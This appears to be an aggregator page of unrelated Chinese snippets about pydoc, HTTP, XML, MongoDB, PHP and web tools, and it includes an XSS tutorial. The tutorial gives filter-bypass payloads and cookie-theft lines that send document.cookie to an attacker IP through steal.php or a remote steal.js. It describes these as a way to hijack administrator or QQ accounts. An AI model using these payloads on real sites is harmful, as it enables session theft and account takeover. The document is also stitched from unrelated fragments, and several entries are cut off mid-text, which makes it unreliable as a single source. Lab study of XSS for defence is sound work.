精华内容
下载资源
问答
  • 文档可以在控制台上文本页面的形式呈现,提供给Web浏览器或保存为HTML文件。 内置函数help()在交互式解释器中调用联机帮助系统,该系统使用pydoc在控制台上文本形式生成其文档。通过在操作系统的命令提示符...

    26.1。pydoc —文档生成器和在线帮助系统
    源代码: Lib / pydoc.py

    的是pydoc模块自动从Python模块生成文档。该文档可以在控制台上以文本页面的形式呈现,提供给Web浏览器或保存为HTML文件。

    内置函数help()在交互式解释器中调用联机帮助系统,该系统使用pydoc在控制台上以文本形式生成其文档。通过在操作系统的命令提示符下将pydoc作为脚本运行,也可以从Python解释器外部查看相同的文本文档。例如,跑步

    pydoc 系统
    在shell提示符下,将以类似于Unix man命令显示的手册页的样式在sys模块上显示文档。pydoc的参数可以是函数,模块或包的名称,也可以是对包中模块或模块内的类,方法或函数的点状引用。如果pydoc的参数看起来像一个路径(也就是说,它包含您的操作系统的路径分隔符,例如Unix中的斜线),并且引用了现有的Python源文件,那么将为该文件生成文档。

    注意 为了找到对象及其文档,pydoc导入要记录的模块。因此,此时将执行模块级别的任何代码。使用if name == ’ main ':防护仅在将文件作为脚本调用而不仅仅是导入时才执行代码。
    在参数前指定-w标志将导致HTML文档被写到当前目录中的文件中,而不是在控制台上显示文本。

    在参数之前指定-k标志将再次以类似于Unix man命令的方式在所有可用模块的提要行中搜索作为参数给出的关键字。模块的概要行是其文档字符串的第一行。

    您还可以使用pydoc在本地计算机上启动HTTP服务器,该服务器将为访问Web浏览器提供文档。 pydoc -p 1234 将在端口1234上启动HTTP服务器,使您可以使用首选的Web浏览器浏览位于http:// localhost:1234 /的文档。指定0作为端口号将选择任意一个未使用的端口。

    pydoc -g将启动服务器,并另外打开一个基于tkinter的小型图形界面,以帮助您搜索文档页面。该-g选项已过时,因为服务器现在可以直接从HTTP客户端进行控制。

    pydoc -b将启动服务器,并另外打开Web浏览器到模块索引页面。每个服务页面的顶部都有一个导航栏,您可以在其中获得有关单个项目的帮助,在其概要行中使用关键字搜索所有模块,然后转到“ 模块索引”,“ 主题和 关键字”页面。

    当是pydoc生成文档,它使用当前的环境和定位模块的路径。因此,调用pydoc spam会 精确地记录您启动Python解释器并输入import spam时将获得的模块版本。

    假定用于核心模块的模块文档位于 http://docs.python.org/XY/library/中,其中X和Y是Python解释器的主要和次要版本号。可以通过设置PYTHONDOCS环境变量到另一个URL或包含Library Reference Manual页面的本地目录。

    在版本3.2中进行了更改:添加了-b选项,不建议使用-g选项。

    展开全文
  • 它是明文的形式保存,有很大的安全问题 https https可以进行加密 http over tls,构建在安全层之上的 对上的应用接口没变,对下发生了变化 SPDY speedy 主要有谷歌来做,基于tcp的会话层协议 ...

    总览

    • web and http

      web是由对象构成的,包含了html5文档和图片,Java applet。

    • http

      • 无状态的
      • 它是以明文的形式保存,有很大的安全问题
    • https

      • https可以进行加密 http over tls,构建在安全层之上的
      • 对上的应用接口没变,对下发生了变化
    • SPDY speedy

      • 主要有谷歌来做,基于tcp的会话层协议
      • http spdy ssl tcp
    • http 3

      • http over quic

        http——qpack stream——quic TLS ——udp——ip——Mac 3

        http——hpacl stream——tls 1.2+——tcp——ip——mac 2

      • udp

      • 目前处于http1 向http2过度的时间段

    展开全文
  • ASP.NET 网页抓取WEB

    2010-12-30 13:48:39
    系统会 在页面右侧空白处显示页面源码,以及小窗口形式显示要抓取的网页可视化界面。 二、在“列表定位标签”输入要抓取列表信息容器型标签。例如:DIV、UL、TABLE “筛选同类标签”作用是用来过滤页面上同类定位...
  • 因为xml不能像HTML一样描述页面的排版及表现形式,只用于描述数据和其结构,因此在软件开发中只要涉及数据的保存,传输都可以考虑使用XML。 2 xml历史:为了将SGML的丰富功能与HTML的易用性结合到WEB应用中,同时...

    1xml用途:用来传输和存储数据。因为xml不能像HTML一样描述页面的排版及表现形式,只用于描述数据和其结构,因此在软件开发中只要涉及数据的保存,传输都可以考虑使用XML。

    2 xml历史:为了将SGML的丰富功能与HTML的易用性结合到WEB应用中,同时简化SGML和HTML的复杂性,而设计的一种可扩展标记性语言(ExtensibleMarkup Language,xml)。

    它以一种开发的、自我描述的方式定义了数据结构。

    3 xml与HTML对比:HTML各种标记是已经规定好的,XML文档的规定是用户自己规定的(需符合XML规范),这就是为什么XML具有可扩展性。

    HTML格式:<html>   <head>  <!--头部--> </head>  <body> <!--内容部分--> </body>  </html> 

    XML格式:<可扩展标记语言><题目>学习XML</题目><内容>你好,XML</内容></可扩展标记语言>

    4 xml语法:

    4.1 所有XML元素都必须有关闭标签

    <p>this is a paragraph</p>

    4.2 XML标签对大小写敏感。

    <Message> 这是错误的 </message>

    <message>这是正确的 </message>

    4.3 xml必须被嵌套

    如在HTML中:<b><i>This text is bold and italic</b></i>

    XML中必须被正确嵌套:<b><i>This text is bold and itatic </i> </b>

    4.4 XML中必须有且只有一个根元素。

    如:

    <root>

           <child>

           <subchild>…….</subchild>

           </child>

    </root>

    4.4 XML的属性值必须加引号。

    <note date = “18/11/2018”>

           <to> George</to>

           <from> john </from>

           </note>

    4.5 实体引用

           xml中一些字符拥有特定的意义,比如你将” < ”放在xml元素中,会发生错误,这是因为解析器会把他当作新元素开始。

    <message> if salary < 1000  then </message><!--这是错误的,在内容中不能有”<”-->

    <message> if salary &lt 1000  then </message><!—这是正确的,用实体引用替代”<”-->

    4.6 xml注释

    <!—This is a comment –>

     

    5 xmlDTD

           通过DTD可以很容易判断要验证的XML是否符合我们所定义的规范(元素之间的关系,属性取值是否正确)。但是DTD不能验证元素的内容,得通过---schema

     

    6 xml 结构

    6.1 xml 第一行  <?xml 版本信息[编码信息][文档独立性信息]?>

    <?xmlversion="1.0" encoding="gb2312"standalone="no"?>

    <!DOCTYPEstudent SYSTEM "test.dtd">

    <!--这是XML文档-->

    <student>

             <name>张三</name>

             <age>24</age>

    </student>

       版本说明前后都有问号,文档编码声明,比如utf-8,独立文档声明,如果不依赖于外部文档,可standalone="yes"来声明这个文档是独立的。

    7 文档类型声明(第2行)

             xml通过DTD来规范xml文档。文档类型声明有两种方式,一种是声明DTD(Document Type Definition)在外部文件中,另一种直接在XML文档中给出DTD。

    8 元素

    在XML中元素由开始标签,元素内容和结束标签构成。每一个元素都有一个用名字标志的类型,同时它可以有一个属性说明集,每个属性有一个名字和一个值。

     

    展开全文
  • 对话框形式存在,多任务管理等功能 完备的中文支持,各种情况下乱码解决; 文件管理 文件选择:单选,鼠标框选,shift连选,ctrl随意选择,键盘上下左右、home、end选择。 文件操作:选择文件后,可以进行复制,剪切,删除...
  • 对话框形式存在,多任务管理等功能 完备的中文支持,各种情况下乱码解决; 文件管理 文件选择:单选,鼠标框选,shift连选,ctrl随意选择,键盘上下左右、home、end选择。 文件操作:选择文件后,可以进行复制,剪切,删除...
  • 对话框形式存在,多任务管理等功能 完备的中文支持,各种情况下乱码解决; 文件管理 文件选择:单选,鼠标框选,shift连选,ctrl随意选择,键盘上下左右、home、end选择。 文件操作:选择文件后,可以进行复制,剪切,删除...
  • (同File类的saveAs方法的选项之值类似)SAVE_PHYSICAL指示组件将文件保存操作系统根目录为文件根目录的目录下,SAVE_VIRTUAL指示组件将文件保存以Web应用程序根目录为文件根目录的目录下,而SAVE_AUTO则表示...
  • 超级有影响力的Java面试题大全文档 1.抽象: 抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面。抽象并不打算了解全部问题,而只是选择其中的一部分,暂时不用部分细节。...
  • 东南大学、中国科学技术信息研究所、国家图书馆有权保留本人所送交学位论文的复印件和电子文档可以采用影印、缩印或其他复制手段保存论文。本人电子文档的内容和纸质论文的内容相一致。除在保密期内的保密论文和在...
  • 一旦完成,你可以将URL保存并发送给同伴来进行审查或获得帮助。 •Blackbird •许多JavaScript开发者仅仅使用alert()来显示各种信息调试代码。Blackbird在JavaScript上提供了记录信息的简单方式以及一个引人注意的...
  • 本书是第I卷,开发人员在项目开发中经常遇到的问题和必须掌握的技术为中心,介绍了应用Java Web进行程序开发的各个方面的知识和技巧,主要包括Java Web编程基础、文件操作管理、图形图像与多媒体技术、窗体应用...
  • 本书是第I卷,开发人员在项目开发中经常遇到的问题和必须掌握的技术为中心,介绍了应用Java Web进行程序开发的各个方面的知识和技巧,主要包括Java Web编程基础、文件操作管理、图形图像与多媒体技术、窗体应用...
  • XSS-跨站脚本分析

    2021-03-23 17:33:10
    XSS-跨站脚本分析 Cookie 是一个保存在客户机中的简单的文本文件, 这个文件与特定的 Web...一个 Web 站点可能会为每一个访问者产生一个唯一的ID, 然后 Cookie 文件的形式保存在每个用户的机器上。如果使用浏览器访问

    XSS-跨站脚本分析

    Cookie

    • 是一个保存在客户机中的简单的文本文件, 这个文件与特定的 Web 文档关联在一起, 保存了该客户机访问这个Web 文档时的信息, 当客户机再次访问这个 Web 文档时这些信息可供该文档使用。由于“Cookie”具有可以保存在客户机上的神奇特性, 因此它可以帮助我们实现记录用户个人信息的功能, 而这一切都不必使用复杂的CGI等程序。
      eg.一个 Web 站点可能会为每一个访问者产生一个唯一的ID, 然后以 Cookie 文件的形式保存在每个用户的机器上。如果使用浏览器访问 Web, 会看到所有保存在硬盘上的 Cookie。在这个文件夹里每一个文件都是一个由“名/值”对组成的文本文件,另外还有一个文件保存有所有对应的 Web 站点的信息。在这里的每个 Cookie 文件都是一个简单而又普通的文本文件。透过文件名, 就可以看到是哪个 Web 站点在机器上放置了Cookie(当然站点信息在文件里也有保存)
    • 当Fn+F12后,在存储里面可以看到cookie(即每个人在网站上的身份证),当cookie泄露且被人劫持之后,劫持人就可以伪装成被劫持人,使用被劫持人的权限(eg:QQ空间被盗)

    JavaScript(简称“JS”)

    • 是一种具有函数优先的轻量级,解释型或即时编译型的编程语言。虽然它是作为开发Web页面的脚本语言而出名,但是它也被用到了很多非浏览器环境中,JavaScript 基于原型编程、多范式的动态脚本语言,并且支持面向对象、命令式和声明式(如函数式编程)风格。
    • 主要功能:
      1.嵌入动态文本于HTML页面。
      2.对浏览器事件做出响应。
      3.读写HTML元素。
      4.在数据被提交到服务器之前验证数据。
      5.检测访客的浏览器信息。控制cookies,包括创建和修改等。(利用js获取别人的cookie)
      6.基于Node.js技术进行服务器端编程。

    常见命令(利用js获取别人的cookie):

    <script>alert("XSS")</script> //alert作用:弹窗形式,弹出“xss”
    <script>alert(document.cookie)</script> //弹出浏览器中自己的cookie,只能检测是否能xss

    什么是XSS攻击

    • 跨站脚本(cross-site scripting,XSS)是一种经常出现在web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的
    • 原理:攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页中,当其他用户浏览这些网站时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
    • 由于和另一种网页技术——层叠样式表(Cascading Style Sheets,CSS)的缩写一样,为了防止混淆,故把原来的CSS简称为XSS。
    • avaScript脚本:
    <html>
        <head>test</head>
        <body>
             <script>alert("XSS")</script>
        </body>
    </html>
    
    • 成因:
      HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
      即:当网页过滤不足时,可以直接引入avaScript脚本

    XSS分类

    一、反射型XSS(非持久型)

    • 反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广范的一种,主要用于将恶意脚本附加到URL地址的参数中。
    • 特点是只在用户单击时触发,而且只执行一次,非持久化
    • XSS的简单过滤
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
     $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    

    在源代码里有如上代码,
    第一行的意思是:它先从网页里get了一个name
    第二行的意思是:它从name里面检测<script>的形式,然后将其替换为空,导致传到后端的时候<stript>标签没有成对存在,故不能正常执行。
    1、双写绕过:<scr<script>ipt>alert("XSS")</scr<script>ipt>
    2、大小写绕过:
    原理:str_replace( )是严格执行寻找<script>的函数,而html里面有一个特性:它不区分大小写,都能正常执行,故:<Script>alert("XSS")</sCript>改任意一个或多个小写为大写都可以,但是要注意前后的<stript>均要改大小写

    例二

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?>
    

    源码里面出现了严格的正则匹配

     $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    

    即当他们以s、c、r、i、p、t(即script)顺序出现的时候,script就会被过滤,而后面的/i的意思是不区分大小写
    此时用下列来

    <img src=# onerror=alert("xss")>
    

    此为html里面img标签的一个特殊的响应方式img src,#代表访问本地,onerror表示当它访问出错的时候会执行一个js的脚本alert("xss")
    使用该代码进行xss的原理是:网页里没有一个img的标签来让访问,然后就报错,顺理成章的就执行了后面的js脚本,而此时alert("xss")则被认为了是js脚本,成功xss。
    中间的xss可以替换为想要的任何命令
    例如在需要获取别人cookie时

    <img src=# onerror=(location.href="http://192.168.31.169/steal.php?data="+document.cookie)>
    

    此时也有script按顺序出现,故

    <img src=# onerror=(locat&#x69;on.href="http://192.168.31.169/steal.php?data="+document.cookie)>
    

    将i用Unicode加密绕过,此时则可绕过该正则匹配。
    注:以上方法得到的cookie均为自己的cookie

    • 得到别人的cookie
      一、准备
      1、将别人的cookie发送给我们,利用脚本连接数据库来接收;
      2、由于远程无法调用php文件,所以单有一个php接收脚本是不行的,xss利用的是Javascript,而JavaScript只能远程调用js文件,因此需要写一个js文件,让被攻击者执行这个文件。
      3、要接收他人传来的值,那么我们自身也要开服务器,所以PHPstudy搭建一个服务器(打开Apache)和MySQL(搭建数据库);
      4、注意php版本有规定
      二、触发条件:(反射型XSs触发条件非常苛刻)
      1、攻击者与被攻击者登录的必须为同一个界面;
      2、该网页一定存在xss攻击;
      三、方法
      1、先在服务器192.168.31.217上用get的方法利用xss漏洞来传
      ?name=<script src=http://192.168.31.169/steal.js></script>
      src是远程调用,它调用了steel.php,使cookie传到数据库
      192.168.31.169是本机ip,其充当攻击者
      2、而当被攻击者192.167.36.133利用服务器访问了之前攻击者访问的页面?name=<script src=http://192.168.31.169/steal.js></script>,即构造了该url,则才能实现获取对方的cookie,进而得到该管理员的管理权限。
      ( 此时把本机作为攻击者,把win7作为服务器217,而数据库在该服务器里,把XP作为被攻击者(管理员)36.133)

    二、存储型XSS(持久型)

    • 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易大量盗窃cookie
    • 存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。(类似说说,会长时间保存上传的数据)
    • 存储型 XSS一旦存储到客户端或者服务端的数据库中,当下次再打开该页面时,该代码就会再次执行,每一次打开都是这样(就像浏览器弹窗)
    • 和反射性XSS的即时响应相比,存储型XSS则需要先把利用代码保存在比如数据库或文件中,当web程序读取利用代码时再输出在页面上执行利用代码。但存储型XSS不用考虑绕过浏览器的过滤问题,屏蔽性也要好很多。
    • 在这里插入图片描述方法(思路同上):
      1、当我们利用xss漏洞向网站传入?name=<script src=http://192.168.31.169/steal.js></script>时,意味着发送了远程调用steel.js文件的请求,而stee.js文件则又会向根目录下的steel.php传值cookie,再由steel.php把cookie保存到数据库(数据库在服务器win7 . .217里面);
      2、此时再从虚拟机XP里面访问该服务器的该网站,发现直接点开那个界面后就被黑了,此时被攻击者的cookie已经传到了服务器的数据库里。

    三、DOM型XSS

    DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

    关于xss的利用

    例如,我们得到别人的QQ空间的cookie,此时,我只需要在我的QQ空间里面利用hackbar的cookie改变,并上传,那么就可以得到别人的QQ空间的管理权。

    展开全文
  • 实例082 将用户选择的爱好信息字符串形式保存到数据库 实例083 实现跨数据库的表内容复制 实例084 使用UNION ALL语句批量插入数据 实例085 更新指定记录 实例086 将数据表清空 第4章 SQL语句应用技术 4.1 聚集函数...
  • Cookie工具类的编写

    2020-12-11 17:27:55
    *一、介绍 Cookie并不是它的原意'甜饼'的意思,而是一个保存在客户机中的简单的文本文件...复杂的CGI等程序举例来说, 一个 Web 站点可能会为每一个访问者产生一个唯一的ID, 然后 Cookie 文件的形式保存 在每个用户的
  • 实例082 将用户选择的爱好信息字符串形式保存到数据库 实例083 实现跨数据库的表内容复制 实例084 使用UNION ALL语句批量插入数据 实例085 更新指定记录 实例086 将数据表清空 第4章 SQL语句应用技术 4.1 聚集函数...
  • 实例082 将用户选择的爱好信息字符串形式保存到数据库 实例083 实现跨数据库的表内容复制 实例084 使用UNION ALL语句批量插入数据 实例085 更新指定记录 实例086 将数据表清空 第4章 SQL语句应用技术 4.1 聚集函数...
  • 我们之前做的项目都是文本或者 csv 文件保存在本地,如果保存的数据量比较大的话,保存在本地就不够灵活了。...其内容存储形式类似 JSON 对象,它的字段值可以包含其他文档、数组及文档数组,非常灵活。下载...
  • 我们之前做的项目都是文本或者 csv 文件保存在本地,如果保存的数据量比较大的话,保存在本地就不够灵活了。...其内容存储形式类似 JSON 对象,它的字段值可以包含其他文档、数组及文档数组,非常灵活。下载...
  • Web浏览器的作用是读取html文档,并网页的形式展现。 大多数标签是可以嵌套的 HTML文件可以直接使用文本编辑器来创建,保存时,后缀名为html &emsp——汉字 &nbsp;——空格 大小写都可以 (W3C)万维网...
  • HTML学习

    2019-08-23 11:24:34
    ** 简介 ** ...Web浏览器的作用是读取HTML文档,并网页的形式显示出它们。浏览器不会显示HTML标签,而是使用标签来解释页面的内容。 保存HTML 可以使用.htm也可以使用**.html**扩展名 HTML...
  • php笔记4

    2013-03-12 16:08:01
    因为如果扩展名为.inc或一些其他的非标准扩展名的文件保存Web文档树中,而且用户可以在浏览器中直接载入它们,用户将可以以普通文本的形式查看源代码,包括任何密码。 2、require()语句和include()语句几乎是等价...
  • MongoDB之基础学习

    2018-01-20 22:55:09
     MongoDB是一个分布式基于文件存储的开源数据库系统,可以解决WEB应用高并发以及可扩展的数据存储方案,以文档形式来存储数据。 二、主要特点: 1.支持分布式。 2.无需预定义表结构,在一个表中可以保存多种...
  • ASP.NET网页抓取功能

    2010-12-24 15:19:39
    系统会 在页面右侧空白处显示页面源码,以及小窗口形式显示要抓取的网页可视化界面。 二、在“列表定位标签”输入要抓取列表信息容器型标签。例如:DIV、UL、TABLE “筛选同类标签”作用是用来过滤页面上同类定位...
  • 3、输出的类型多:可以以文件的形式输出,也可以把捕捉的内容直接发e-mail给朋友,另外可以编辑成册。 4、具备简单的图形处理功能:利用它的过滤功能可以将图形的颜色进行简单处理,也可对图形进行放大或缩小。
  • 3、 接下来会弹出保存Web应用程序工作副本的对话框,在工作副本位置输入框中输入你想要保存Web应用的Web文件夹,也可以接受默认设置。点击"确定"按钮接受默认设置。 4、 通过上述步骤,我们已经成功地在另一个...
  • 3、输出的类型多:可以以文件的形式输出,也可以把捕捉的内容直接发e-mail给朋友,另外可以编辑成册。 4、具备简单的图形处理功能:利用它的过滤功能可以将图形的颜色进行简单处理,也可对图形进行放大或缩小。
  • 服务方向: 负责索引磁盘上的文档文档属性,并且在一个目录中保存信息,使得你在以后可以搜索他们. 可执行文件: winnt\system32\services.exe 风险: 其为IISweb服务器上诸多安全弱点的根源 建议: 除非特别需要,...

空空如也

空空如也

1 2 3 4 5 ... 9
收藏数 179
精华内容 71
关键字:

web可以以文档形式保存